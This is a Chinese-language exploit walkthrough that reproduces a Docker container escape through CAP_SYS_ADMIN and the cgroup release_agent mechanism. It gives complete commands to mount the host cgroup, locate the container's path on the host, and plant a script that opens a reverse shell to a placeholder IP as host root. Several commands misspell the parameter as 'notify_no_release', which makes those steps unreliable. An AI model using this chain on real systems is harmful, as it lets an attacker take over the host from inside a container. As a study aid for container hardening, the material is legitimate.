目录
一、产生原因
二、利用条件
三、复现过程
1、容器内挂载宿主机cgroup
2、设置notify_no_release并寻找容器在宿主机上的存储路径
3、将恶意脚本写入release_agent
一、产生原因
给容器额外授权了SYS_ADMIN Cap，并且容器以root权限运行，攻击者拿到容器root权限后可以通过SYS_ADMIN挂载宿主机cgroup，并利用cgroup notify_on_release的特性在宿主机执行shell，从而实现容器逃逸。
| CAP_SYS_ADMIN | 允许执行系统管理任务，如加载或卸载文件系统、设置磁盘配额等 |
二、利用条件
1、容器以root权限运行；
2、给容器额外授予了SYS_ADMIN Capability；
3、容器没有启用Docker默认的AppArmor配置文件docker-default，或者AppArmor允许运行mount syscall
其中，条件1和2是必需的，而条件3在某些宿主机上比较容易满足，比如CentOS等Red Hat系统的Linux操作系统上默认没有安装AppArmor。
三、复现过程
1、拉取ubuntu镜像，创建容器
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04 bash操作系统为CentOS系列的默认没有安装 AppArmor，但Ubuntu需要将AppArmor安全选项改为unconfined
2、容器内挂载宿主机cgroup
mkdir /tmp/cgrp
mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x创建目录cgrp用于挂载
挂载宿主机的memory cgroup到目录cgrp上
为了不影响宿主机，创建子目录x，作为执行目录
3、设置notify_no_release并寻找容器在宿主机上的存储路径
cgroup的每一个subsystem(子目录)都有参数notify_on_release，这个参数值是Boolean型，1或0，分别可以启动和禁用释放代理的指令。
notify_on_release表示是否在cgroup中最后一个任务退出时运行release_agent内的内容
如果值为0：
默认情况下为0，表示不运行
如果值为1：
cgroup下所有task结束的时候，那么内核就会运行root cgroup下release_agent文件中的对应路径的文件
echo 1 > /tmp/cgrp/x/notify_no_release将 notify_no_release设置为1
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo $host_path查找容器在宿主机上的存储路径
root@2e7113beb0fe:~# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/e7c7a5b3e3c8ea30bf0f8a7ea7d1d04ddbe4b6c29143e2a494e733f00b77e986/diff/cmd4、将恶意脚本写入release_agent
echo "$host_path/cmd" > /tmp/cgrp/release_agent在这个目录里创建一个cmd文件，并把它作为/tmp/cgrp/x/release_agent参数指定的文件。
echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/x.x.x.x/2333 0>&1" >> /cmd
chmod a+x /cmd将恶意shell脚本写入cmd文件
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"最后，POC触发宿主机执行cmd文件中的shell。
该命令启动一个sh进程，将sh进程的PID写入到/tmp/cgrp/x/cgroup.procs里，这里的\$\$表示sh进程的PID。
在执行完sh -c之后，sh进程自动退出，这样cgroup /tmp/cgrp/x里不再包含任何任务，/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行
最后成功反弹shell
